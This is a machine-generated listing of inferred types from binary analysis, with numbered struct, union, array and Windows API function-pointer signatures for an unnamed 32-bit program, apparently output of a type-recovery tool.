591 union(ptr(ptr(reg32_t)),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))),ptr(struct(0:ptr(TOP),4:code_t)),ptr(struct(0:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),4:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))))),ptr(struct(0:ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP))),4:ptr(TOP)))) "Union_172"
592 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(ptr(num8_t)),ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_192"
593 union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(struct(4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP))),ptr(struct(36:ptr(TOP),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:array(reg8_t,48),48:ptr(TOP))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,36),36:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),40:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),44:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP)))))) "Union_199"
594 union(code_t,ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(reg32_t),ptr(struct(0:array(reg8_t,48),48:ptr(TOP))),ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))),ptr(struct(24:ptr(TOP),28:ptr(TOP),32:reg32_t)),ptr(struct(4:reg32_t,268:ptr(struct(0:array(reg8_t,36),36:reg32_t)))),ptr(struct(4:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,36:reg32_t,40:reg32_t,48:union(ptr(ptr(struct(0:array(reg8_t,24),24:code_t))),ptr(ptr(struct(0:reg64_t,8:code_t)))))),ptr(struct(4:reg32_t,48:ptr(ptr(TOP)))),ptr(struct(36:reg32_t,48:ptr(ptr(TOP)))),ptr(struct(4:num32_t,48:ptr(ptr(TOP)))),ptr(struct(12:reg32_t,16:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP),48:ptr(ptr(TOP)))),ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:code_t,44:code_t,48:ptr(ptr(struct(0:reg32_t,4:code_t))))),ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),40:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))),44:ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP)))))) "Union_200"
595 ptr(struct(36:ptr(TOP),40:ptr(TOP),44:ptr(TOP))) "Struct_47*"
596 union(code_t,ptr(reg32_t)) "Union_194"
0 code_t "(void -ms-> int)*"
461 ptr(ptr(reg32_t)) "dword[][]"
597 ptr(struct(0:array(reg8_t,24),24:ptr(struct(0:reg32_t,4:reg32_t)))) "StructFrag_240*"
598 ptr(struct(4:reg32_t,24:ptr(TOP))) "Struct_136*"
599 ptr(struct(0:code_t,4:code_t,8:code_t,12:code_t,16:code_t)) "Struct_533*"
600 ptr(struct(0:reg64_t,8:reg16_t)) "StructFrag_452*"
601 union(ptr(ptr(struct(20:code_t,28:code_t,32:code_t))),ptr(struct(0:ptr(struct(20:code_t,28:code_t,32:code_t)),4:ptr(num8_t),8:reg32_t,12:ptr(struct(0:ptr(code_t),4:ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),8:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(TOP)))),12:ptr(ptr(array(reg8_t,36))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:uint32_t,300:reg32_t)),36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,56:reg32_t,60:reg32_t,76:reg32_t,84:reg32_t,88:reg32_t,92:reg32_t))) "Union_60"
602 ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(ptr(ptr(TOP))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg32_t),16:ptr(TOP),24:reg32_t)),80:reg16_t)) "Struct_401*"
603 ptr(struct(0:array(reg8_t,64),64:union(ptr(TOP),num32_t))) "StructFrag_170*"
604 ptr(struct(0:array(reg8_t,112),112:code_t)) "StructFrag_171*"
605 ptr(struct(128:num32_t,136:reg32_t,144:ptr(TOP))) "Struct_697*"
8 num32_t "time_t"
606 union(ptr(struct(0:reg32_t,4:code_t)),ptr(struct(4:code_t,8:code_t,24:code_t))) "Union_84"
607 ptr(struct(4:num8_t,6:reg32_t,10:num8_t,11:num8_t,12:num8_t,13:num8_t,16:ptr(num8_t),20:ptr(num8_t),24:ptr(num8_t),28:num32_t,32:num32_t,36:num32_t,40:num32_t,44:num32_t,48:reg32_t,60:reg32_t,64:reg32_t,68:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(24:ptr(TOP),28:ptr(TOP),32:reg32_t))))) "Struct_450*"
608 ptr(struct(0:union(reg32_t,uint32_t),4:num8_t)) "Struct_867*"
609 ptr(struct(0:ptr(TOP),4:ptr(TOP),8:reg32_t,12:ptr(TOP),16:union(ptr(struct(0:array(reg8_t,676),676:ptr(TOP))),ptr(struct(0:array(reg8_t,676),676:ptr(TOP)))))) "Struct_866*"
610 union(ptr(struct(0:array(reg8_t,676),676:ptr(TOP))),ptr(struct(67:num8_t,676:ptr(TOP)))) "Union_226"
611 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(TOP),16:ptr(TOP))) "Struct_873*"
612 union(ptr(TOP),ptr(reg32_t)) "Union_230"
613 union(ptr(struct(0:array(reg8_t,16),16:reg32_t)),ptr(struct(8:code_t))) "Union_232"
614 ptr(struct(8:code_t)) "Struct_887*"
0 code_t "(void -> int)*"
615 ptr(array(reg8_t,120)) "unknown_960*"
616 ptr(struct(0:array(reg8_t,20),20:reg16_t)) "StructFrag_492*"
617 ptr(struct(0:array(reg8_t,6748),6748:reg32_t)) "StructFrag_253*"
618 ptr(struct(0:array(reg8_t,6752),6752:reg32_t)) "StructFrag_254*"
619 ptr(struct(0:array(reg8_t,36),36:reg32_t)) "StructFrag_88*"
620 ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:num32_t)) "Struct_656*"
621 ptr(struct(0:reg32_t,20:reg32_t,24:ptr(TOP))) "Struct_574*"
622 ptr(struct(0:array(reg8_t,10),10:num8_t)) "StructFrag_132*"
623 ptr(struct(204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),308:ptr(struct(0:array(reg8_t,12),12:ptr(TOP))),432:ptr(TOP),436:reg32_t,448:ptr(TOP),452:reg32_t,456:reg32_t,508:reg32_t)) "Struct_491*"
624 ptr(struct(0:array(reg8_t,229376),229376:num32_t)) "StructFrag_446*"
625 ptr(array(reg8_t,1024)) "unknown_8192*"
626 ptr(struct(0:array(reg8_t,6),6:num8_t)) "StructFrag_165*"
627 ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:num8_t,16:reg32_t)) "Struct_93*"
0 code_t "(HANDLE,DWORD -ms-> BOOL)*"
0 code_t "(HANDLE,_Inout_ LPVOID,DWORD,_Inout_ LPDWORD,_Inout_ LPOVERLAPPED -ms-> BOOL)*"
0 code_t "(HANDLE,_In_ void*,DWORD,_Inout_ LPDWORD,_Inout_ LPOVERLAPPED -ms-> BOOL)*"
0 code_t "(_Inout_ LPMSG,HWND,UINT,UINT,UINT -ms-> BOOL)*"
0 code_t "(HKEY,_In_ CHAR*,_Inout_ LPDWORD,_Inout_ LPDWORD,_Inout_ LPBYTE,_Inout_ LPDWORD -ms-> LSTATUS)*"
0 code_t "(HKEY,_In_ CHAR*,_Inout_ PHKEY -ms-> LSTATUS)*"
628 ptr(struct(0:array(reg8_t,536870908),4294967292:reg32_t)) "StructFrag_12*"
629 ptr(struct(0:array(reg8_t,536870896),4294967280:reg32_t)) "StructFrag_13*"
630 ptr(struct(4294967272:ptr(TOP),4294967288:code_t,4294967292:code_t)) "Struct_845*"
0 code_t "(HANDLE,DWORD,_Inout_ LPVOID -ms-> BOOL)*"
631 ptr(struct(0:code_t,8:code_t,32:code_t)) "Struct_368*"
632 union(ptr(struct(0:array(reg8_t,3432),3432:num8_t)),ptr(struct(0:array(reg8_t,8120),8120:num8_t))) "Union_45"
633 ptr(struct(0:num8_t,229376:num32_t,233464:union(num32_t,ptr(struct(0:reg16_t,2:num8_t))))) "Struct_769*"
0 code_t "(_Inout_ LPSECURITY_ATTRIBUTES,BOOL,BOOL,_In_ CHAR* -ms-> HANDLE)*"
0 code_t "(HKEY,_In_ CHAR* -ms-> LSTATUS)*"
0 code_t "(HKEY -ms-> LSTATUS)*"
634 ptr(union(reg32_t,uint32_t)) "Union_229[]"
0 code_t "(UINT,DWORD,_In_ WCHAR*,int,_Inout_ LPSTR,int,_In_ CHAR*,_Inout_ LPBOOL -ms-> int)*"
635 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(struct(0:reg64_t,8:reg32_t)))) "Struct_890*"
0 code_t "(_Inout_ LONG*,LONG -ms-> LONG)*"
636 ptr(struct(204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:union(ptr(TOP),num32_t),308:ptr(struct(0:array(reg8_t,12),12:code_t)),448:ptr(TOP),452:union(ptr(TOP),num32_t),456:union(ptr(TOP),num32_t),508:union(ptr(TOP),num32_t),10444:reg32_t)) "Struct_495*"
637 ptr(struct(0:array(reg8_t,260),260:num8_t)) "StructFrag_33*"
638 ptr(struct(0:array(reg8_t,24),24:code_t)) "StructFrag_19*"
639 ptr(struct(0:code_t,20:code_t,32:code_t)) "Struct_367*"
640 ptr(struct(20:code_t,32:code_t)) "Struct_407*"
641 ptr(struct(8:code_t,12:code_t,16:code_t,28:code_t)) "Struct_545*"
642 ptr(struct(0:code_t,28:code_t,32:code_t)) "Struct_393*"
643 ptr(struct(4:code_t,8:code_t)) "Struct_433*"
644 union(ptr(struct(0:reg64_t,8:code_t)),ptr(struct(4:code_t,8:code_t))) "Union_74"
645 ptr(struct(0:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),uint32_t,ptr(num8_t),ptr(ptr(reg16_t)),uint32_t,ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))),4:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),uint32_t,ptr(num8_t),ptr(ptr(reg16_t)),uint32_t,ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))),8:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),uint32_t,ptr(num8_t),ptr(ptr(reg16_t)),uint32_t,ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))),12:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),uint32_t,ptr(num8_t),ptr(ptr(reg16_t)),uint32_t,ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))))) "Struct_414*"
0 code_t "(void -?-> dword)*"
646 ptr(struct(0:code_t,32:code_t)) "Struct_366*"
647 ptr(union(ptr(struct(0:array(reg8_t,3432),3432:num8_t)),ptr(struct(0:array(reg8_t,18776),18776:reg32_t)))) "Union_44*"
648 ptr(struct(0:array(reg8_t,28),28:reg32_t)) "StructFrag_22*"
649 ptr(struct(0:array(reg8_t,44),44:reg32_t)) "StructFrag_255*"
650 ptr(struct(0:array(reg8_t,60),60:reg32_t)) "StructFrag_257*"
651 ptr(struct(960:ptr(array(reg8_t,38)),964:ptr(array(reg8_t,48)),1000:num32_t,1004:reg32_t)) "Struct_244*"
652 ptr(struct(0:reg32_t,4:ptr(TOP))) "StructFrag_96*"
653 union(ptr(struct(0:reg64_t,8:code_t)),ptr(struct(8:code_t,12:code_t))) "Union_108"
151 ptr(ptr(num32_t)) "int[][]"
654 ptr(struct(4:reg32_t,28:ptr(TOP))) "Struct_147*"
655 ptr(struct(0:array(reg8_t,24),24:ptr(reg32_t))) "StructFrag_67*"
656 struct(0:reg32_t,4:reg32_t) "StructFrag_7"
657 ptr(struct(4:reg32_t,24:reg32_t,28:ptr(TOP))) "Struct_138*"
658 ptr(struct(0:array(reg8_t,24),24:reg16_t)) "StructFrag_169*"
659 ptr(struct(0:reg64_t,8:ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)))) "StructFrag_203*"
660 ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)))) "StructFrag_434*"
661 ptr(struct(0:array(reg8_t,24),24:reg32_t)) "StructFrag_28*"
662 ptr(union(code_t,ptr(TOP))) "Union_216[]"
663 ptr(struct(0:reg32_t,4:reg32_t,8:code_t)) "Struct_886*"
664 ptr(struct(0:array(reg8_t,536870911),4294967295:num8_t)) "StructFrag_40*"
665 ptr(struct(0:reg8_t,1:num8_t)) "StructFrag_200*"
666 ptr(struct(0:array(reg8_t,12),12:ptr(struct(0:array(reg8_t,12),12:reg32_t)))) "StructFrag_83*"
461 ptr(ptr(reg32_t)) "dword*[]"
667 ptr(struct(0:ptr(uint8_t),4:reg32_t)) "Struct_810*"
668 union(ptr(ptr(TOP)),ptr(struct(20:ptr(TOP),24:reg32_t))) "Union_29"
669 ptr(struct(0:reg32_t,4294967292:ptr(TOP))) "Struct_563*"
670 ptr(struct(204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:ptr(TOP),308:ptr(struct(0:array(reg8_t,12),12:code_t)),508:reg32_t)) "Struct_497*"
671 union(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))),ptr(struct(4:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,36:reg32_t,40:reg32_t,48:union(ptr(ptr(struct(0:array(reg8_t,24),24:code_t))),ptr(ptr(struct(0:reg64_t,8:code_t))))))) "Union_88"
672 ptr(array(reg8_t,144)) "unknown_1152*"
673 ptr(struct(0:ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),308:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),432:ptr(TOP),436:reg32_t,440:reg32_t,508:reg32_t)),4:num32_t,20:reg32_t,44:num32_t)) "Struct_485*"
674 ptr(array(reg8_t,92)) "unknown_736*"
675 ptr(array(reg8_t,112)) "unknown_896*"
0 code_t "(DWORD -ms-> HANDLE)*"
0 code_t "(_Inout_ LPSTR,_Inout_ LPDWORD -ms-> BOOL)*"
0 code_t "(HANDLE,_Inout_ LPWIN32_FIND_DATAA -ms-> BOOL)*"
0 code_t "(HANDLE,DWORD -ms-> DWORD)*"
0 code_t "(HKEY,_In_ CHAR*,DWORD,DWORD,_In_ BYTE*,DWORD -ms-> LSTATUS)*"
0 code_t "(_In_ CHAR*,_Inout_ LPSTR,DWORD -ms-> DWORD)*"
0 code_t "(HKEY,DWORD,_Inout_ LPSTR,DWORD -ms-> LSTATUS)*"
676 ptr(struct(0:ptr(num8_t),4294967248:ptr(num8_t))) "Struct_851*"
677 ptr(array(reg8_t,252)) "unknown_2016*"
0 code_t "(_Inout_ LPVOID,SIZE_T,DWORD -ms-> BOOL)*"
0 code_t "(void -ms-> LPWCH)*"
678 ptr(struct(196:ptr(ptr(struct(0:array(reg8_t,28),28:code_t))),9384:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))))) "Struct_575*"
679 ptr(struct(0:ptr(struct(196:ptr(TOP),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),308:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),432:ptr(TOP),436:reg32_t,440:reg32_t,508:reg32_t)),4:num32_t,44:num32_t)) "Struct_487*"
680 union(ptr(ptr(TOP)),ptr(struct(0:code_t,28:code_t,32:code_t))) "Union_55"
681 union(ptr(struct(0:reg64_t,8:code_t)),ptr(struct(8:code_t,28:code_t))) "Union_121"
682 ptr(struct(0:array(reg8_t,20),20:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))))) "StructFrag_216*"
683 ptr(struct(8:code_t,12:code_t)) "Struct_494*"
684 ptr(struct(0:array(reg8_t,46),46:num8_t)) "StructFrag_282*"
685 ptr(struct(0:array(reg8_t,30),30:num8_t)) "StructFrag_152*"
686 ptr(struct(0:num8_t,2:reg16_t,4:ptr(struct(0:reg32_t,4:reg32_t)))) "Struct_772*"
687 ptr(array(reg8_t,1208)) "unknown_9664*"
688 ptr(struct(0:ptr(TOP),20:code_t,32:code_t)) "Struct_386*"
689 ptr(struct(9388:ptr(struct(0:reg32_t,4:reg32_t)),9392:ptr(TOP),9396:reg32_t)) "Struct_703*"
690 ptr(struct(9404:ptr(array(reg8_t,86)),9528:ptr(array(reg8_t,16)),9544:ptr(array(reg8_t,64)))) "Struct_173*"
691 ptr(struct(9404:ptr(array(reg8_t,61)),9408:ptr(array(reg8_t,16)),9412:reg32_t,9416:ptr(array(reg8_t,21)),9420:reg32_t,9424:reg32_t,9480:reg32_t,9484:reg32_t,9520:reg32_t,9524:reg32_t,9528:reg32_t,9532:reg32_t,9600:reg32_t,9604:reg32_t,9608:reg32_t,9612:reg32_t,9640:reg32_t,9644:reg32_t,9720:reg32_t,9724:reg32_t,9728:reg32_t,9760:reg32_t,9764:reg32_t,9768:reg32_t,9772:reg32_t,9776:reg32_t,9780:reg32_t,9784:reg32_t,9788:reg32_t,9792:reg32_t,9796:reg32_t,9800:reg32_t)) "Struct_580*"
692 ptr(array(reg8_t,136)) "unknown_1088*"
316 ptr(struct(196:ptr(ptr(struct(0:array(reg8_t,28),28:code_t))),400:ptr(struct(0:ptr(struct(196:ptr(TOP),204:ptr(array(reg8_t,41)),276:ptr(array(reg8_t,32)),308:reg32_t,396:ptr(ptr(TOP)),432:ptr(TOP),436:reg32_t,440:reg32_t,508:reg32_t)),4:num32_t,20:reg32_t,44:num32_t)),492:reg32_t,504:reg32_t)) "Struct_484*"
693 union(ptr(num8_t),ptr(struct(0:num8_t,196:ptr(ptr(TOP)),204:ptr(struct(0:array(reg8_t,40),40:num8_t)),276:ptr(struct(0:array(reg8_t,28),28:reg32_t)),292:reg32_t,308:ptr(TOP),376:reg32_t,396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(TOP))))),432:ptr(TOP),436:reg32_t,440:reg32_t,444:reg32_t,496:reg32_t,508:reg32_t))) "Union_85"
694 ptr(struct(0:array(reg8_t,16),16:num8_t)) "StructFrag_150*"
695 ptr(struct(0:ptr(num32_t),4:reg32_t)) "Struct_382*"
0 code_t "(void -ms-> DWORD)*"
0 code_t "(_In_ CHAR* -ms-> HMODULE)*"
0 code_t "(HMODULE,_In_ CHAR* -ms-> FARPROC)*"
0 code_t "(HMODULE -ms-> BOOL)*"
696 ptr(struct(0:reg32_t,12:reg32_t,28:reg32_t,32:reg32_t)) "Struct_557*"
391 ptr(struct(0:reg32_t,4:num8_t)) "Struct_868*"
242 ptr(ptr(TOP)) "void*[]"
697 ptr(struct(0:ptr(uint8_t),4:ptr(uint8_t))) "Struct_811*"
698 ptr(struct(4:ptr(ptr(struct(0:array(reg8_t,28),28:code_t))),24:reg32_t)) "Struct_553*"
699 ptr(struct(0:num32_t,16:ptr(TOP),20:reg32_t,28:num32_t)) "Struct_751*"
700 ptr(struct(16:ptr(TOP),28:num32_t)) "Struct_164*"
701 ptr(struct(432:ptr(TOP),436:num32_t,440:num32_t)) "Struct_754*"
702 ptr(struct(0:reg32_t,20:num32_t,24:ptr(TOP))) "Struct_713*"
703 ptr(struct(196:ptr(ptr(struct(0:array(reg8_t,28),28:code_t))),492:reg32_t,9384:reg32_t)) "Struct_576*"
704 ptr(struct(396:ptr(ptr(struct(36:ptr(TOP),48:ptr(ptr(array(reg8_t,28)))))),496:reg32_t,500:reg32_t)) "Struct_37*"
705 ptr(struct(10424:ptr(struct(0:num32_t,4:num32_t,8:reg32_t,12:reg32_t,16:ptr(TOP))),10428:ptr(struct(0:num32_t,4:num32_t,8:reg32_t,12:reg32_t,16:ptr(TOP))))) "Struct_709*"
706 ptr(struct(12:reg32_t,20:reg32_t,48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))) "Struct_478*"
707 ptr(struct(0:reg32_t,8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))) "Struct_275*"
708 ptr(struct(0:ptr(TOP),4:num32_t,8:num32_t,12:num32_t,16:num32_t)) "Struct_753*"
709 ptr(struct(33180:num32_t,33184:ptr(TOP),33188:num32_t,33192:num32_t)) "Struct_755*"
710 ptr(struct(4:ptr(ptr(struct(0:array(reg8_t,28),28:code_t))),8:reg32_t)) "Struct_556*"
711 array(reg8_t,54) "unknown_432"
712 array(reg8_t,58) "unknown_464"
713 array(reg8_t,26) "unknown_208"
714 array(reg8_t,52) "unknown_416"
715 array(reg8_t,66) "unknown_528"
716 array(reg8_t,75) "unknown_600"
717 array(reg8_t,38) "unknown_304"
718 array(reg8_t,29) "unknown_232"
719 array(reg8_t,96) "unknown_768"
720 array(reg8_t,42) "unknown_336"
721 array(reg8_t,34) "unknown_272"
722 array(reg8_t,25) "unknown_200"
723 array(reg8_t,39) "unknown_312"
724 array(reg8_t,108) "unknown_864"
725 array(reg8_t,48) "unknown_384"
726 array(reg8_t,14) "unknown_112"
727 array(reg8_t,156) "unknown_1248"
728 array(reg8_t,30) "unknown_240"
729 array(reg8_t,53) "unknown_424"
730 array(reg8_t,89) "unknown_712"
731 array(reg8_t,100) "unknown_800"
732 array(reg8_t,82) "unknown_656"
733 array(reg8_t,74) "unknown_592"
734 array(reg8_t,61) "unknown_488"
735 array(reg8_t,71) "unknown_568"
736 array(reg8_t,43) "unknown_344"
737 array(reg8_t,18) "unknown_144"
738 array(reg8_t,33) "unknown_264"
739 array(reg8_t,44) "unknown_352"
740 array(reg8_t,11) "unknown_88"
741 array(reg8_t,41) "unknown_328"
742 array(reg8_t,35) "unknown_280"
743 array(reg8_t,23) "unknown_184"
744 array(reg8_t,10) "unknown_80"
745 array(reg8_t,40) "unknown_320"
746 array(reg8_t,27) "unknown_216"
747 array(reg8_t,22) "unknown_176"
748 array(reg8_t,24) "unknown_192"
749 array(reg8_t,79) "unknown_632"
750 array(reg8_t,57) "unknown_456"
751 array(reg8_t,47) "unknown_376"
752 array(reg8_t,91) "unknown_728"
753 array(reg8_t,51) "unknown_408"
754 array(reg8_t,49) "unknown_392"
755 array(reg8_t,28) "unknown_224"
756 array(reg8_t,128) "unknown_1024"
757 array(reg8_t,72) "unknown_576"
758 array(reg8_t,62) "unknown_496"
759 array(ptr(TOP),6) "void*[6]"
760 array(reg8_t,158) "unknown_1264"
761 array(ptr(TOP),4) "void*[4]"
762 array(reg8_t,67) "unknown_536"
763 array(reg8_t,63) "unknown_504"
